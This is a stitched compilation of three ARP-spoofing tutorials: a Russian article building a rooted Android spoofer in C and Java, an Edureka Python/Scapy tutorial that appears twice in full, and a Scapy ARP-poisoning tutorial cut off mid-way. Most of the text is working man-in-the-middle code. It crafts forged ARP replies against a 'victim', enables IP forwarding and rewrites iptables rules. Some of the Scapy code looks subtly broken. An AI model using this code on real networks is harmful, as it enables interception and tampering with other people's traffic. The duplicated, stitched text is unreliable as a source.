Как написать спуфер

Время на прочтение
12 мин

Количество просмотров 18K

Перед вами моя первая статья на этом замечательном ресурсе, потому не судите слишком строго. Конструктивная критика, поправки и дополнения приветствуются.

Так как это моя первая статья здесь, предлагаю начать со знакомства. Кому-то может показаться, что мой ник( First Row) звучит слишком пафосно, поэтому хочу, так сказать, прояснить ситуацию. Я часто подписывался «First row viewer», что означает «зритель в первом ряду». Но при регистрации аккаунта разработчика на Google Play оказалось, что символов слишком много. Пришлось оставить просто «First Row».

Что-ж, мы несколько отклонились от темы, и многим, наверняка, начала порядком надоедать моя болтовня( а внизу-то букв еще много). Поэтому предлагаю перейти непосредственно к нашей теме.

Прежде всего скажу, что здесь мы не будем разбирать IP-маршрутизацию, работу ARP-протокола и теорию самого Spoofing’а (на эту тему я видел пару прекрасных статей на Хабре). Так же предполагается, что вы знаете языки С, Java и имеете хотя бы минимальные навыки разработки под Android. Перейдем сразу к практике, в нашем случае к реализации. Для начала разберемся с инструментами. Лично я пользуюсь Eclipse с плагином ADT и установленным Android NDK (в нашем случае большая часть кода будет писаться как раз в нэйтиве). Возможно, вы будете редактировать сорцы в блокноте и собирать ручками через терминал, или использовать Android Studio, или что нибудь еще. В этом случае, может оказаться, что некоторые мои рекомендации можно будет опустить. В данной статье же я хочу рассказать в том числе о некоторых подводных камнях и граблях, на которые наступил, когда взялся за свой первый проект под Android.

Итак, нам в голову пришло написать простенький ARP Spoofer под Android. Что же нам потребуется? Для начала вспомним, что наша программа-оболочка будет написана на Java (NativeActivity мы трогать не будем). Но ведь Java не даст нам необходимого функционала для реализации задуманного. Многим в голову могло прийти «JNI». Нет. Это тоже не подойдет. Чтобы наша нативная программа обладала Root привилегиями, придется запускать отдельный процесс, и уже из под рута запускать нашу программу. Если для пользователей *nix подобных систем это вполне очевидно, то для остальных хотелось бы сразу осветить данный момент, чтобы в дальнейшем не возникало вопросов. Что-ж, с этим мы решили. Напишем нативную программку (не библиотеку), которая будет запускаться из Java кода, под Root’ом. Привилегии суперпользователя необходимы нам для работы с Raw сокетами, а так же затем, чтобы добавить необходимые правила в iptables, но об этом чуть позже.

Предлагаю начать с самой нативной программы. Можете пока создать новый проект и ничего больше. Поддержку JNI в проект добавлять не спешите (это мы сделаем после рассмотрения нескольких подводных камней). Пока же предлагаю создать наш исходник, назвать его arpspoof.c. К Android.mk мы так же обратимся несколько позже.

Для начала разберемся с самой программой. Здесь я не буду приводить пример полноценного ARP спуфера, который сам узнает необходимые MAC адреса. Допилить его до более приличного вида вы можете самостоятельно, при необходимости. Моя же задача привести небольшой по размеру пример, который может помочь кому то сэкономить массу времени (возможно, я плохо искал, но когда я начинал, мне очень не помешал бы подобный пример. Речь в данном случае не о самом спуфере, а о том, как правильно запилить это дело под андроид). Итак, на входе мы будем принимать:

1) IP адрес жертвы;
2) MAC адрес жертвы;
3) IP адрес шлюза (или под кого вы хотите «маскироваться»);
4) Наш MAC адрес (ну или того, на кого вы хотите «перевести» траффик жертвы).

Принимать их мы будем в виде ключей. Далее в цикле с некоторым интервалом (например, 1 с) будем отправлять ARP ответ с указанными адресами. Прежде чем приступать, давайте разберемся с форматом ARP заголовка (заглянем для этого в if_arp.h и рассмотрим поля нужной структуры):

struct arphdr
  {
    unsigned short int ar_hrd;          /* Format of hardware address.  */
    unsigned short int ar_pro;          /* Format of protocol address.  */
    unsigned char ar_hln;               /* Length of hardware address.  */
    unsigned char ar_pln;               /* Length of protocol address.  */
    unsigned short int ar_op;           /* ARP opcode (command).  */
#if 0
    /* Ethernet looks like this : This bit is variable sized
       however...  */
    unsigned char __ar_sha[ETH_ALEN];   /* Sender hardware address.  */
    unsigned char __ar_sip[4];          /* Sender IP address.  */
    unsigned char __ar_tha[ETH_ALEN];   /* Target hardware address.  */
    unsigned char __ar_tip[4];          /* Target IP address.  */
#endif
  };

В принципе, здесь все понятно. Поясню лишь некоторые значения:

ar_hrd — для Ethernet будет ARPHDR_ETHER;
ar_pro — в нашем случае ETH_P_IP;
arp_op — мы будем слать ARP ответы, поэтому ARPOP_REPLY.

С остальным вопросов, полагаю, ни у кого возникнуть не должно, размеры ip и mac адресов в байтах, ну и сами адреса.

Что-ж, с заголовком ARP разобрались. В нашем пакете он будет идти следом за Ethernet заголовком. Давайте же разберем и его тоже. Посмотрим в if_ether.h:

struct ethhdr {
        unsigned char   h_dest[ETH_ALEN];       /* destination eth addr */
        unsigned char   h_source[ETH_ALEN];     /* source ether addr    */
        unsigned short  h_proto;                /* packet type ID field */
} __attribute__((packed));

Здесь вопросы могут возникнуть лишь с полем h_proto (протокол). В нашем случае это будет ETH_P_ARP. Для удобства я объединил эти две структуры в одну и заменил тип для IP-адресов с char[] на unsigned long, дабы заталкивать адрес в нужное поле обычным присваиванием. Такая вот будет структура пакета целиком:

struct  my_arp_packet
{
  unsigned char	h_dest[ETH_ALEN];	        /* destination eth addr */
  unsigned char	h_source[ETH_ALEN];	/* source ether addr */
  unsigned short h_proto;                                /* packet type ID field */


  unsigned short int ar_hrd;		         /* Format of hardware address.  */
  unsigned short int ar_pro;		         /* Format of protocol address.  */
  unsigned char ar_hln;				 /* Length of hardware address.  */
  unsigned char ar_pln;				 /* Length of protocol address.  */
  unsigned short int ar_op;			 /* ARP opcode (command).  */
  unsigned char ar_sha[ETH_ALEN];       /* Sender hardware address.  */
  unsigned long ar_sip;				 /* Sender IP address.  */
  unsigned char ar_tha[ETH_ALEN];	 /* Target hardware address.  */
  unsigned long ar_tip;				 /* Target IP address.  */
} __attribute__((packed));

И, наконец, наша функция для отправки ARP ответов:

void arp_reply_send(char *iface_name, unsigned long src_ip, unsigned char *src_mac, unsigned int dest_ip, unsigned char *dest_mac)
{
	struct my_arp_packet arp;

	// заполняем Ethernet заголовок
	memcpy(arp.h_dest,dest_mac,ETH_ALEN);
	memcpy(arp.h_source,src_mac,ETH_ALEN);
	arp.h_proto=htons(ETH_P_ARP);

	// заполняем ARP заголовок
	arp.ar_hln = ETH_ALEN;
	arp.ar_pln = 4;
	arp.ar_hrd = htons(ARPHRD_ETHER);
	arp.ar_pro = htons(ETH_P_IP);
	arp.ar_op = htons(ARPOP_REPLY);
	memcpy(arp.ar_sha,src_mac,ETH_ALEN);
	memcpy(arp.ar_tha,dest_mac,ETH_ALEN);
	arp.ar_sip=src_ip;
	arp.ar_tip=dest_ip;

	// создаем сокет, отправляем пакет с указанного интерфейса
	int sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP));
        struct sockaddr adr;

	strcpy(adr.sa_data, iface_name);
	adr.sa_family = AF_INET;

	sendto(sock, (void*)&arp, sizeof(struct my_arp_packet), 0, (struct           sockaddr *)&adr, sizeof(struct sockaddr));

	close(sock);
}

Теперь напишем функцию main. Тут все достаточно тривиально. Единственное, хочу обратить ваше внимание на вызовы system(), где мы добавляем в iptables правило forward accept, разрешаем маршрутизацию (единичка в ip_forward). Так же, когда я переносил свой проект под Android 5.x, то обнаружил в iptables правила DROP all в табличке natctrl_FORWARD. Это мы тоже учтем (кстати, данное правило, насколько мне известно, встречается и на Android 4.4. На более ранних версиях я этого не встречал).

Итак, наш код:

int main(int argc, char **argv)
{
        // получаем IP и MAC адреса из ключей
	unsigned long dest_ip=inet_addr(argv[1]);
	unsigned long src_ip=inet_addr(argv[3]);

	unsigned char dest_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];

	str_to_mac(dest_mac, argv[2]);
	str_to_mac(src_mac, argv[4]);

        // включаем маршрутизацию и разрешаем в iptables
	system("echo 1 > /proc/sys/net/ipv4/ip_forward");
	system("iptables -A FORWARD -j ACCEPT");

        // то самое правило, вбитое изначально в андроид 4.4 и выше
	system("iptables -D natctrl_FORWARD -j DROP");
	system("iptables -A natctrl_FORWARD -j ACCEPT");

	while(1)
	{
		arp_reply_send(my_interface, src_ip, src_mac, dest_ip, dest_mac);

		sleep(1);
	}
}

Так же вы могли заметить, что в качестве первого параметра функции отправки ответа мы шлем имя интерфейса. Можете объявить/задефайнить строку «wlan0», можете принимать имя интерфейса в качестве ключа. Так как программа под телефоны и планшеты, можно обойтись заранее вбитой строкой. Вспомогательные функции вроде str_to_mac я здесь приводить не буду, вы можете ознакомиться с ними, скачав архив с исходным кодом, или реализовать самостоятельно.

Перейдем к написанию нашей Java оболочки. Думаю, ни для кого из присутствующих не составит труда накидать xml-файл с тем же LinearLayout, четырьмя EditText’ами и парой Button’ов для старта и стопа. Затем создать класс, например, MainActivity, унаследовавшись от Activity, повесить обработчики на наши кнопки (исходники полностью вы можете скачать, ссылка под катом). Здесь же я приведу лишь основную функцию, которая будет запускать нашу нативную прожку. И прежде чем привести ее описание, пришло время подумать, как именно (откуда мы будем ее запускать).

Дело в том, что чтобы мы могли запустить нашу программу, исполняемый файл должен находиться в папке приложения. То есть, для начала он должна попасть в наш пакет при сборке. Затем его не должен выбросить распаковщик APK при установке на конечное устройство. Это два основных момента, из-за которых по началу могут возникнуть сложности, если проект содержит не либу, а исполняемый файл. Не забываем, что собирая наш бинарник не как библиотеку, а как исполняемый файл, мы получим на выходе файл с названием, не соответствующем тому, как должна называться библиотека. Это значит, что такой файл просто напросто не попадет в наш пакет при сборке (речь в данном случае о папке lib проекта). Если же просто добавить расширение .so, задав имя модуля, в APK файл он попадет, но будет выброшен программой установки на конечном устройстве. А добавить в module name приставку lib нам не дают. Такая вот проблема, толкового описания/решения которой в свое время я нигде не нашел. Хотя, возможно, просто плохо искал. Но, возможно, это так же связано со «спецфичностью» подобных программ, ведь нам дают JNI интерфейс, и для сборки программы с библиотечкой лишних действий от нас действительно не требуется. А вот как быть, если в проект должны входить исполняемые файлы? Итак, у нас 2 варианта, каждый со своими плюсами и минусами:

1) Не добавлять в проект поддержку JNI, а ручками создать в папке libs проекта необходимые папки(armeabi, x86 при необходимости). Компилить нэйтив код в другом проекте, а затем, (! важно)копировать каждый бинарник в /libs/armeabi или x86 в следующем виде: libИМЯ_ПРОГРАММЫ.so. Вариант неплохой, сам поначалу его использовал. Но хотелось все же сборки всего сразу одной кнопочкой из среды разработки. Тем более, основная работа то в моем случае была как раз в native, и было очень неудобно переносить кучу бинарников моих утилит и переименовывать их при этом(или по одному, в зависимости от того, сколько изменений было внесено и куда). Плюс же метода состоит в том, что если вы использовали, скажем, уже готовые сорцы, и изменять их в процессе работы не потребуется(если работа идет только над Java частью), то этот метод действительно будет менее затратным.

2) Добавить в проект поддержку jni, все как обычно, но после описания сборки каждого файла приписать следующий код:
$(shell mv ${NDK_APP_DST_DIR}/НАЗВАНИЕ_БИНАРНИКА ${NDK_APP_DST_DIR}/libНАЗВАНИЕ_БИНАРНИКА.so)
а в самом начале нашего Android.mk задать
SHELL:=/bin/sh
Т.е. сразу после сборки каждый бинарь будет переименовываться в нужный нам формат. Недостаток у данного способа один — при каждой сборке проекта, бинарники переименовываются в изначальный вид самой программой сборки. Чтобы отработал наш скрипт, последним измененным файлом должен быть Android.mk. То есть перед каждой сборкой проекта вам придется открывать его, ставить, к примеру, пробел, затем уже собирать. То же касается экспорта в APK файл для маркета. Правим Android.mk, сохраняем, экспортируем. В этом случае все будет хорошо. Все же при использовании этого способа рекомендую следить за размером конечного APK файла, если наши файлы таки туда не попали по какой то причине, размер его будет меньше (насколько — зависит от кол-ва сборок, используете ли вы статическую линковку и т.д., но изменения размера будут в любом случае).

Можно, конечно, еще подгружать необходимые файлы с сервера при запуске программы или придумать что-то еще в этом духе, но, на мой взгляд, подобным подходам не место в данной статье. Так же можно собирать ручками из консоли, при ручной сборке-то имя выходного файла мы можем задать любое. Но в данном случае, повторюсь, речь идет о работе, используя среду разработки. Лично я остановился на втором способе. Его же я использую в примере, исходники которого вы можете скачать сразу после статьи. Вы можете выбрать для себя любой из двух описанных способов, или, если знаете какой то другой, написать об этом в комментариях. Прежде чем мы закончим с нативной частью, я приведу вам свой Android.mk:

SHELL:=/bin/sh
LOCAL_PATH:= $(call my-dir)

include $(CLEAR_VARS)
LOCAL_CFLAGS := -std=c99
LOCAL_SRC_FILES := arpspoof.c
LOCAL_MODULE := arpspoof
include $(BUILD_EXECUTABLE)
$(shell mv ${NDK_APP_DST_DIR}/arpspoof ${NDK_APP_DST_DIR}/libarpspoof.so)

Так же хочу отметить, что для Android 4.0 и ниже стоит так же использовать статическую линковку (ключ -static для LOCAL_LDFLAGS), для 4.1 лучше уже использовать динамическую сборку.

Что-ж, со сборкой мы разобрались. Метод «хранения» нашего исполняемого файла в пакете выбрали. Вернее сказать, метод попадания того самого файла в нужную нам папку. Теперь приведу вам обещанную функцию, которую вызывает обработчик нашей кнопочки spoof:

private void start_native_app()
{
    new Thread(new Runnable() {
        public void run(){
           Process suProcess=null;
           try {
                suProcess = Runtime.getRuntime().exec("su");
                    
                DataOutputStream os = new DataOutputStream(suProcess.getOutputStream());

                String command=getApplicationContext().getFilesDir().getParent() + "/lib/libarpspoof.so";

                command+= « » + edit1.getText().toString() 
                        + « » + edit2.getText().toString()
                        + « » + edit3.getText().toString() 
                        + « » + edit4.getText().toString();
			        
                os.writeBytes(command + "n");
	          os.close();
           } catch (IOException e) {
               // TODO Auto-generated catch block
               e.printStackTrace();
           }
        }
    }).start();
}

Здесь все просто, запускаем Thread, в котором запускаем новый процесс с командным интерпретатором под рутом(su) и через output stream пишем свою команду. Самой же командой будет полный путь к нашему исполняемому файлу + ключи. Полным путем к файлу соответственно будет /data/data/ИМЯ_ПАКЕТА/lib/НАЗВАНИЕ_ФАЙЛА.

Итак, остался только один вопрос — как завершать наш спуфер? Самый простой вариант — вызывать из под рута
killall -SIGKILL libarpspoof.so
при нажатии на другую кнопочку, предназначенную для завершения. Так же можно отлавливать, скажем, SIGINT в самой программе и делать выход из цикла в main’е. Если вы пишете более сложную программу, взаимодействующую с оболочкой, можете присылать pid процесса при запуске, затем вызывать собственную реализацию kill, и передавать ей в качестве ключа полученный pid. Этот метод я использовал в Network Utilities, дабы сделать программу менее зависимой от busybox (апплет killall таки есть не у всех), а незавершающаяся нативная программа, мягко говоря, не есть гуд. Но для нашей учебной реализации сгодится и такой метод. А вот если вы пишите приложение, которым будете пользоваться не только вы, рекомендую использовать собственную программку-завершалку (или хотя бы проверять наличие необходимого апплета busybox). В общем, для данной программы вы можете использовать любой понравившийся вам вариант. Думаю, с написанием обработчика второй, завершающей кнопки вы справитесь и без меня. Если же вдруг что — смотрим в сорцах, под статьей. Так же, чтобы немного «приукрасить» программу, вы можете делать неактивной кнопку старт при нажатии на нее, и вновь делать ее активной при нажатии на стоп. Или, скажем, использовать ToggleButton. Это уже на ваше усмотрение. Моя же задача заключается в предоставлении максимально простого примера. Мусолить тут особенно нечего, потому пойдем дальше. Осталось добавить необходимые пермишны в AndroidManifest. А это будут:

<uses-permission android:name=«android.permission.ACCESS_SUPERUSER» />
<uses-permission android:name=«android.permission.INTERNET» />

Прежде чем перейти к завершающей части статьи, я хотел бы дать вам еще пару советов на будущее:
1) Если вашу программу требуется завершать вручную, (как в данном примере), лучше позаботьтесь о том, чтобы нативная программа обязательно завершалась при выходе. Например, в обработчике кнопки выхода из приложения.
2) Сторонние программы установки пакетов(например, входящие в некоторые файловые менеджеры) при установке могут не задать атрибуты исполнения исполняемым файлам, входящим в вашу программу. Сам в свое время наступил на эти грабли. Лучше всего при запуске проверяйте атрибуты и выставляйте вручную при необходимости.

Знаю, вам, как и мне не терпится опробовать наш ARP Spoofer. Самое время это сделать. Собираем проект (вспомним, что я говорил о редактировании Android.mk), бросаем полученный APK на свой любимый рутированный телефон, вбиваем IP и MAC адреса, жмем заветную кнопочку. На компьютере-жертве открываем терминал и проверяем ARP табличку (arp -a). MAC адрес шлюза (или что вы указывали в качестве ip адреса отправителя) должен измениться на MAC адрес, прописанный вами в качестве mac отправителя. Важно — это должен быть существующий в данной сети адрес (адрес устройства, например). Но, думаю, вы и без меня это прекрасно знаете. В данном случае, запустив любой сниффер (например, входящий в Network Utilities), вы увидите пакеты, идущие от «жертвы» к шлюзу). Стало быть, задача выполнена. ARP Spoofer написан и прекрасно работает. Осталось лишь написать простенький сниффер и можно идти в ближайший макдональс (шутка, конечно).

Чтобы посмотреть пример полноценной подобной программы с кучей «фишечек» и возможностей, можете скачать Network Utilities по ссылке ниже. И да, в описании на маркете очень многие возможности и «особенности» пришлось опустить, оставив лишь пинг, traceroute и подобные безобидные мелочи. Например, вы можете взять за основу Arp spoofer, входящий туда и попробовать «допилить» до этого уровня наш скромный пример, сделав его «массовым», добавить алгоритмы «узнавания» необходимых нам адресов. Но это так, задел на будущее, вдруг кого то заинтересует. На этом, пожалуй, пора прощаться. Если статья придется по нраву сообществу, возможно, в будущем напишу еще. Например, о создании сниффера, или сетевого сканера под андроид.

И напоследок приведу ссылки:

Ссылка на архив с сорцами спуфера: rghost.ru/87t2Y58Nn
Обещанная ссылка на Network Utilities (не реклама): play.google.com/store/apps/details?id=com.myprog.netutils

Спасибо за внимание.

When you tell someone you’re an Ethical Hacker, they look at you like you are some kind of a Wizard. Well, that’s what it is to be an Ethical Hacker: Knowledgeable, Powerful and Conscience to do the right thing! Like a Wand to a Wizard, Python makes an Ethical Hacker more powerful. In the previous tutorial, you saw how you can write a MacChanger using Python. In this tutorial, you will see how Python can be used for ARP Spoofing.

I will cover the following topics:

• What is ARP Spoofing?
• Writing an ARP Spoofer

I know you are all hyped up to automate Ethical Hacking, but first, you should know what ARP Spoofing is. 

What is ARP Spoofing?

It is common that everyone uses WiFi these days and you are one of them. Do you know how the data flows when you are connected to the router? Your system and the router have IP addresses attached to them. When you are connected to the router, the data flow is between 2 IP addresses. The router sends data to the IP address of your system and your system sends data to the IP address of the router.

ARP Spoofing is the technique of redirecting the network traffic to the hacker by faking the IP address. Too technical? Let me make it simple for you. When there is a connection between a system and the router (basically between two IP addresses), the hacker will fake his/her IP address. The hacker will tell 1) The Router that he/she is the system and 2) The System that he/she is the router. Now, the router will send the data to the hacker instead of the system, and the system will send the data to the hacker instead of the router. Hence the network flows through the hacker.

Anonymity is just a simple thing in Ethical Hacking & CyberSecurity. If you are interested in this domain, check the live CompTIA Security+ Certification.

Go through our Ethical Hacking Course to explore more about ethical hacking. This course will teach you the most current hacking techniques, tools and methods that hackers use.

Now that we know what an ARP Spoofer is, let’s build these using Python!

Writing an ARP Spoofer

When I was explaining to you about ARP Spoofing, I told you that it redirects the traffic. To conduct ARP Spoofing, we need 3 nodes. One will be the hacker node and the other two are systems between which there’s some communication going on.

For this tutorial, I am using Virtual Machines to create nodes. I will run two Virtual Machines of which one will be the hacker and the other will be the victim. What about the 3rd node? Well, that will be the router that the Virtual Machines are connected to.

My setup is as follows: I have two Virtual Machines which are connected to a router.

Before we write an ARP Spoofer, we need to get some data. Because the hacker system will be faking it’s IP address, we should know the IP address and the MAC address of the router and the victim system.

To find the IP addresses of the victim and the Router, run the following command from the hacker’s machine:

$ arp -a

This will list the IP address and the MAC address of all the systems in that network.

Here, the gateway is the Router and for this demo, I will choose the system with the IP address 192.168.111.157 as the Victim.

After we run the ARP Spoofer, we need a way to verify whether our ARP Spoofer worked or not. In the real-world scenario, the success/failure of the ARP Spoofing is determined by the output on the hacker’s system. But for this demo, we will make it easy. As we are running Virtual Machines, I will switch to the Victim system and check the MAC address of the Router.

For that, run the following command in the terminal of the Victim’s system: 

$ arp -a

Look at the MAC address of the router, this will change after we run the script. 

Now that we have the required data for spoofing, we are ready to write an ARP Spoofer.

To write a Spoofer for ARP Spoofing, let’s run PyCharm. To start PyCharm, go to the directory where PyCharm was extracted and run the shell script.

$ cd pycharm-community-2018.3.4/ 
$ cd bin/
$ ./pycharm.sh

You will see the Welcome Screen of PyCharm. Click on “Create New Project”

Enter a name for your project. I will name this arp_spoof. And then click “Create“.

You will now see the workplace. Next, let’s create a Python file. To do this, right click on the project name, go to “New” and click on “Python file“. You can now write the Python script here.

The ARP Spoofer I am writing will use the Scapy module of Python, that is a packet manipulation tool.

Below is the Python script for ARP Spoofer:

import scapy.all as scap

while True:
    packet = scap.ARP(op=1, pdst="192.168.111.157", hwaddr="00:0c:29:1e:76:af", psrc="192.168.111.2")
    scap.send(packet) #Packet telling the Victim (with ip address 192.168.111.157) that the hacker is the Router.

    packet = scap.ARP(op=1, pdst="192.168.111.2", hwaddr="00:50:56:e7:86:57", psrc="192.168.111.157")
    scap.send(packet) #Packet telling the Router (with ip address 192.168.111.2) that the hacker is the Victim.

Run this script and the network will be redirected. Let’s verify whether it actually worked or not. In the Victim’s system, run this command:

$ arp -a

You can see that the MAC address of the Router’s IP is changed to the MAC address of the hacker’s system. This means that the network is getting redirected to the hacker and the data from the Victim’s system is going to the hacker’s system thinking that it is the Router.

Congratulations! You have written an ARP Spoofer in Python and seen it in action. Now that you know how Python can be beneficial for Ethical Hacking, learn some more modules, commands, and start automating Ethical Hacking with Python.

Got a question for us? Please post it on Edureka Community and we will get back to you.

If you wish to learn Cybersecurity and build a colorful career in Cybersecurity, then check out our Cyber Security Course which comes with instructor-led live training and real-life project experience. This training will help you understand Cybersecurity in depth and help you achieve mastery over the subject.

You can also take a look at our newly launched course on CompTIA Security+ Certification which is a first-of-a-kind official partnership between Edureka & CompTIA Security+. It offers you a chance to earn a global certification that focuses on core cybersecurity skills which are indispensable for security and network administrators. 

Learn Cybersecurity the right way with Edureka’s POST-GRADUATE PROGRAM with NIT Rourkela and defend the world’s biggest companies from phishers, hackers and cyber attacks.

When you tell someone you’re an Ethical Hacker, they look at you like you are some kind of a Wizard. Well, that’s what it is to be an Ethical Hacker: Knowledgeable, Powerful and Conscience to do the right thing! Like a Wand to a Wizard, Python makes an Ethical Hacker more powerful. In the previous tutorial, you saw how you can write a MacChanger using Python. In this tutorial, you will see how Python can be used for ARP Spoofing.

I will cover the following topics:

• What is ARP Spoofing?
• Writing an ARP Spoofer

I know you are all hyped up to automate Ethical Hacking, but first, you should know what ARP Spoofing is. 

What is ARP Spoofing?

It is common that everyone uses WiFi these days and you are one of them. Do you know how the data flows when you are connected to the router? Your system and the router have IP addresses attached to them. When you are connected to the router, the data flow is between 2 IP addresses. The router sends data to the IP address of your system and your system sends data to the IP address of the router.

ARP Spoofing is the technique of redirecting the network traffic to the hacker by faking the IP address. Too technical? Let me make it simple for you. When there is a connection between a system and the router (basically between two IP addresses), the hacker will fake his/her IP address. The hacker will tell 1) The Router that he/she is the system and 2) The System that he/she is the router. Now, the router will send the data to the hacker instead of the system, and the system will send the data to the hacker instead of the router. Hence the network flows through the hacker.

Anonymity is just a simple thing in Ethical Hacking & CyberSecurity. If you are interested in this domain, check the live CompTIA Security+ Certification.

Go through our Ethical Hacking Course to explore more about ethical hacking. This course will teach you the most current hacking techniques, tools and methods that hackers use.

Now that we know what an ARP Spoofer is, let’s build these using Python!

Writing an ARP Spoofer

When I was explaining to you about ARP Spoofing, I told you that it redirects the traffic. To conduct ARP Spoofing, we need 3 nodes. One will be the hacker node and the other two are systems between which there’s some communication going on.

For this tutorial, I am using Virtual Machines to create nodes. I will run two Virtual Machines of which one will be the hacker and the other will be the victim. What about the 3rd node? Well, that will be the router that the Virtual Machines are connected to.

My setup is as follows: I have two Virtual Machines which are connected to a router.

Before we write an ARP Spoofer, we need to get some data. Because the hacker system will be faking it’s IP address, we should know the IP address and the MAC address of the router and the victim system.

To find the IP addresses of the victim and the Router, run the following command from the hacker’s machine:

$ arp -a

This will list the IP address and the MAC address of all the systems in that network.

Here, the gateway is the Router and for this demo, I will choose the system with the IP address 192.168.111.157 as the Victim.

After we run the ARP Spoofer, we need a way to verify whether our ARP Spoofer worked or not. In the real-world scenario, the success/failure of the ARP Spoofing is determined by the output on the hacker’s system. But for this demo, we will make it easy. As we are running Virtual Machines, I will switch to the Victim system and check the MAC address of the Router.

For that, run the following command in the terminal of the Victim’s system: 

$ arp -a

Look at the MAC address of the router, this will change after we run the script. 

Now that we have the required data for spoofing, we are ready to write an ARP Spoofer.

To write a Spoofer for ARP Spoofing, let’s run PyCharm. To start PyCharm, go to the directory where PyCharm was extracted and run the shell script.

$ cd pycharm-community-2018.3.4/ 
$ cd bin/
$ ./pycharm.sh

You will see the Welcome Screen of PyCharm. Click on “Create New Project”

Enter a name for your project. I will name this arp_spoof. And then click “Create“.

You will now see the workplace. Next, let’s create a Python file. To do this, right click on the project name, go to “New” and click on “Python file“. You can now write the Python script here.

The ARP Spoofer I am writing will use the Scapy module of Python, that is a packet manipulation tool.

Below is the Python script for ARP Spoofer:

import scapy.all as scap

while True:
    packet = scap.ARP(op=1, pdst="192.168.111.157", hwaddr="00:0c:29:1e:76:af", psrc="192.168.111.2")
    scap.send(packet) #Packet telling the Victim (with ip address 192.168.111.157) that the hacker is the Router.

    packet = scap.ARP(op=1, pdst="192.168.111.2", hwaddr="00:50:56:e7:86:57", psrc="192.168.111.157")
    scap.send(packet) #Packet telling the Router (with ip address 192.168.111.2) that the hacker is the Victim.

Run this script and the network will be redirected. Let’s verify whether it actually worked or not. In the Victim’s system, run this command:

$ arp -a

You can see that the MAC address of the Router’s IP is changed to the MAC address of the hacker’s system. This means that the network is getting redirected to the hacker and the data from the Victim’s system is going to the hacker’s system thinking that it is the Router.

Congratulations! You have written an ARP Spoofer in Python and seen it in action. Now that you know how Python can be beneficial for Ethical Hacking, learn some more modules, commands, and start automating Ethical Hacking with Python.

Got a question for us? Please post it on Edureka Community and we will get back to you.

If you wish to learn Cybersecurity and build a colorful career in Cybersecurity, then check out our Cyber Security Course which comes with instructor-led live training and real-life project experience. This training will help you understand Cybersecurity in depth and help you achieve mastery over the subject.

You can also take a look at our newly launched course on CompTIA Security+ Certification which is a first-of-a-kind official partnership between Edureka & CompTIA Security+. It offers you a chance to earn a global certification that focuses on core cybersecurity skills which are indispensable for security and network administrators. 

Learn Cybersecurity the right way with Edureka’s POST-GRADUATE PROGRAM with NIT Rourkela and defend the world’s biggest companies from phishers, hackers and cyber attacks.

·

9 min read
· Updated
aug 2022

· Ethical Hacking

· Packet Manipulation Using Scapy

In this tutorial, we will build an ARP spoof script using the Scapy library in Python.

What is ARP Spoofing

In brief, it is a method of gaining a man-in-the-middle situation. Technically speaking, it is a technique by which an attacker sends spoofed ARP packets (false packets) onto the network (or specific hosts), enabling the attacker to intercept, change or modify network traffic on the fly.

Once you (as an attacker) are a man in the middle, you can literally intercept or change everything that passes in or out of the victim’s device. So, in this tutorial, we will write a Python script to do just that.

In a regular network, all devices normally communicate to the gateway and then to the internet, as shown in the following image:

Now the attacker needs to send ARP responses to both hosts:

• Sending ARP response to the gateway saying that «I have the victim’s IP address».
• Sending ARP response to the victim saying that «I have the gateway’s IP address».

Once the attacker performs an ARP Spoof attack, as shown in the previous figure, they will be in the man-in-the-middle situation:

At this moment, once the victim sends any packet (an HTTP request, for instance), it will pass first to the attacker’s machine. Then it will forward the packet to the gateway, so, as you may notice, the victim does not know about that attack. In other words, they won’t be able to figure out that they are being attacked.

Alright, enough theory! Before we get started, you need to install the required libraries:

pip3 install scapy

Check this tutorial to get Scapy to work correctly on your machine if you’re on Windows. Additionally, you need to install pywin32, like so:

pip3 install pywin32

Get: Build 24 Ethical Hacking Scripts & Tools with Python Book

Writing the Python Script

Before anything else, we need to import the necessary modules:

from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys

Note: You need to have the Scapy library installed on your machine, head to this post or the official Scapy website.

In the beginning, I need to mention that we need to have IP forwarding enabled.

There are many ways to enable IP route in various platforms. However, I made a python module here to enable IP routing in Windows without worrying about anything.

For Unix-like users (the suggested platform for this tutorial), you need to edit the file «/proc/sys/net/ipv4/ip_forward» which requires root access, and put a value of 1 that indicates as enabled. Check this tutorial for more information. This function does it anyways:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

For Windows users, once you copy services.py in your current directory, you can copy-paste this function:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

The function below handles enabling IP routing in all platforms:

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

Now, let’s get into the cool stuff. First, we need a utility function that allows us to get the MAC address of any machine in the network:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

Related: How to Make a MAC Address Changer in Python

We use Scapy’s srp() function that sends requests as packets and keeps listening for responses; in this case, we’re sending ARP requests and listening for any ARP responses.

Second, we are going to create a function that does the core work of this tutorial; given a target IP address and a host IP address, it changes the ARP cache of the target IP address, saying that we have the host’s IP address:

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

Related: Build 24 Ethical Hacking Scripts & Tools with Python Book

